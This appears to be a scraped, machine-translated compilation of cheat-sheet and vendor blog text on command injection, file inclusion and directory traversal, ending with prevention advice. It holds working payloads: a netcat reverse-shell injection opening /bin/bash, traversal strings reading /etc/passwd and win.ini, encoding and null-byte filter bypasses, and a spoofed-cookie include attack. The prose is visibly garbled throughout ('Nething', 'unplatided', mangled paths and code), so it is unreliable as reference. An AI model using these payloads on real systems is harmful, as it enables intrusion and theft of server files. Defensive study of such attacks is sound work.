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Linux directory traversal cheat sheet

Cheatography This is a draft draw. This is a work in process and is not yet completed. Allows you to insert operating system commands through the Web applicationTypes of commands focused on local results, and remote resultsCommands can be selected based on the operating system specified during the mappingCommand injection provides control of the server running with web application permissions. Focus on resources that seem to be used in the system: - New accounts require directory - App user name acceptance parameter - Starts mkdir username Useful features: & & & ,|| , < , > , ; , | Visible ResultsResults returned to the browser. List of directories ; ls /etcBlind ResultsNething displayed in the browser. Ping yourself, run the sniffer and check out the ICMP echo requests. The id command is useful because it displays the permissions (uid, gid, and group memebership) of the current user, it is a small command that is widely available and usually in the default path /usr/bin/id. In the terminal run: nc -lvvnp 1337Injectable location: [valid record]; nc [Web server] 1337 -e /bin/bashBook 3 pages 55-56 for other methods Local file integration Read files from the server (Disclosure)Remote inclusion of filesRetrieve files from the remote server. The potential for code execution because the contents of the file are used by the application. File inclusion errors can load LFI or RFI from an application perspective. A vulnerability that allows an attacker to leave the site root. You can then run and retrieve files from protected areas through file inclusion. Sometimes it only requires enough .. /.. /.. /.. /.. / to escape, others require encoding, such as Unicode.Note: IIS was vulnerable several times and the solution included tracking /, but it was defeated by encoding in Unicode because decoding occurred after enforcing directory restrictions. Web root sheets allow you to access files on your system, including running the program. Example: . /.. /.. /windows/system32/cmd.exe+/c+dir This cmd.exe execution and directory listing must start in the script directory because of the default limitation that executable code must run from there. It can use encoding to omit controls. Note: Fixes are available for all servers that are known to be vulnerable. Many applications load files such as templates, configurations, and data. Focus on the parameters used to retrieve .. /include/config.incApp does not validate the format and function, nor does it filter, allowing an attacker to attach commands after = . Not always immediately identifiable, it should be a hidden field. Any code accessing files in the server file system may be vulnerable. Most importantly, where in the current working directory you are when executing scripts/applications. If found, specify paths based on operating system detection during mapping. /etc/passwd = user names in UNIX /global.asax = Configuration in IIS \docume-1\user\mydocu~1 = Windows 8.3 user directory \windows\system32\cmd.exe = commands to run in WindowsNote: /var/www or are often web root on debian-linux systems with Apache. /home/username/public_html/ is the location of users with custom web root /usr/lib/cgi-bin is a common directory for CGI scripts command injections we offset our carbon usage with Ecologi. Click on the link below to help us! ;> 1 Page //media.cheatography.com/storage/thumb/binca_command-inj-lfi-rfi-and-directory-traversal.750.jpg Download will start automatically in 5 seconds. Close Directory Passage (also known as traversal file paths) is a Web security vulnerability that allows an attacker to read any files on the server on which the application is running. Consider the following URL: randomwebsite111.com/loadImage?filename=cutekitty18.png loadImage takes the file name parameter and returns the contents of the specified file. The image files themselves are stored on disk in the /var/www/images/ location. To return an image, the application attaches the file name you want to this base directory and uses the file system API to read the contents of the file. In the above case, the application reads from the following file path: /var/www/images/cutekitty18.png The application does not apply any defense against directory browsing attacks, so an attacker can request the following URL to retrieve any file from the server file system: randomwebsite111.com/loadImage?filename=../../../etc/passwd This causes the application to read from the following file path: /var/www/images/.. /.. /.. /etc/passwd On Windows, both .. / and .. \ are valid directory browsing sequences and the equivalent attack to load a standard operating system file would be: randomwebsite111.com/loadImage?filename=...\windows\win.ini Cheat Sheet: You can use an absolute path from the root of the file system, such as the file name = / etc / passwd, directly refer to the file without using roaming sequences. You may be able to use nested traversal sequences, such as ..../// or ..../ You may be able to use various non-standard encodings: 16-bit: . = %u002e / = %u2215 \ = %u2216 Double URL: . = %252e / = %252f \ = %255c UTF-8: . = %c0%2e, %e0%40%ae, %c0ae / = %c0%af, %e0%80%af, %c0%2f \ = %c0%5c, %c0%80%5c example: .. %c0%af or .. %252f If an application requires a user-specified file name to end with an expected file extension, such as .png, you may be able to use a zero-value byte to effectively end the file path before the desired extension. Example: file name=.. /.. /.. /etc/passwd%00.png Prevention The most effective way to prevent errors while browsing the file path is to avoid completely passing user-supplied file system API input. Many application features that can be overridden deliver the same behavior in a more secure way. If it is considered unavoidable to pass the input supplied by the user to the file system API, then there should be two layers used together to prevent attacks: verify the user's input before processing it. Ideally, validation should be compared to the whitelist of allowed values. If this is not possible for the required functionality, then validation should verify that the input contains only allowed content, such as purely alphanumeric characters. After verifying the specified input, the application should connect the input to the base directory and use the platform file system API to canonize the path. You should verify that the canonical path begins with the expected base directory. An example of some simple Java code to validate a canonical file path based on user input: $File file = new file(BASE_DIRECTORY, userInput); if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { // process file } Credits Directory traversal, also known as traversal path, is a vulnerability that allows attackers to break out of the root of a Web site and gain access to other locations in the server file system. Let's see what makes directory browsing attacks possible and what you can do to prevent them. What is directory browsing? On a Web site, Web applications run relative to the site root directory (also called the web document root directory). The exact path depends on the operating system and web server, but common site root directories include /var/www for Apache on Linux and C:\Inetpub\wwwroot for IIS in Windows. An error in web server software may allow the Web server process to access files outside the root of Web documents. If a Web application also uses file names taken from user inputs without proper input validation, this may open a path-browsing vulnerability. Instead of valid file names, an attacker can specify relative or absolute file paths to access any files, including application source code, system files, server logs, and other files that contain sensitive information. In combination with some file upload vulnerability, browsing the directory can even lead to remote code execution. Path traversal attacks are closely related to local file inclusion vulnerabilities. An application that is vulnerable to an attack on local file inclusion loads its modules or resources based on file names passed through unvalided inputs. In such cases, an attacker can use a path pass to replace application component file names with paths to other files in the file system. Directory Traversal Examples To give a simple example, let's say we have a View File button that opens the following URL when clicked: For a classic directory transfer attack, an attacker can attempt to access the system file /etc/passwd (assuming Linux/UNIX) by visiting the URL: If the application simply takes the value of the file parameter from the URL and passes system call passes through the relative path .. /.. /etc/passwd from /var/www and ask the system to load File. This technique is also called dot-dot-slash attack because it often uses special characters .. / (or \.. in Windows) climb to the higher level of the directory. This vulnerability is not limited to passing file names directly in URLs. For example, a web page might store user preferences in a cookie, as in the following PHP code to retrieve the appearance: <?php $skin = default.php; if (isset($_COOKIE['SKIN'])) { $template = $_COOKIE['SKIN']; } include(.. /resources/skins/ . $skin); ?> In this case, the file name is stored in a cookie named SKIN and simply checked with the path. An attacker could exploit this by spoofing the cookie value and sending the following HTTP request: GET /index.php HTTP/1.0 Cookie: SKIN=.. /.. /.. /etc/passwd This value would be attached to the path, which would cause the Web site to make the following include() call to output to /etc directory and retrieve the password file: include(.. /zdroje/skins/.. /.. /.. /etc/passwd); There are also many ways to encode a path crawl string to avoid naïve character filtering, such as writing .. / in URL encoding as %2e%2e%2f. Avoiding traversal traversal path vulnerabilities depends on two vulnerable elements: web application code and Web server configuration. By taking care to avoid vulnerabilities in both areas, you can mitigate most such attacks. Vulnerable Web applications use unplatided user input in file and path names. Passing raw file and path names is always a bad idea not only for security reasons (in addition to browsing paths, it can introduce cross-site scripting vulnerabilities), but also because applications are fragile and more difficult to maintain. Modern applications generally avoid this by mapping URLs to separate URLs from the underlying files. In fact, if you are using a CMS development framework or a web site, this is often the default approach. A related solution is to store files in a central database, not directly in the Web server file system, and define the custom resource names that are used for them. If you need to take file or path names from user inputs, make sure that they are properly disinfected with the allowed names and/or characters. Blacklisting characters filter out .. / and similar strings are not recommended, because there are many ways around it. For a long list of known exploits, see the OWASP page about testing directory browsing vulnerabilities. To mitigate a Web server-side vulnerability, make sure that you are using up-to-date Web server software. The Web server process should also run with the minimum necessary permissions and have access only to directories that the site or application really needs. For Linux/UNIX systems, you may want to consider running a web server in chroot prison to contain any attacks on crawling paths that are successful. To find out these and other vulnerabilities, periodically scan websites and web applications with high-quality dynamic application security Solution. Netsparker detects hundreds of vulnerabilities, including the inclusion of traversal files. Traversal.

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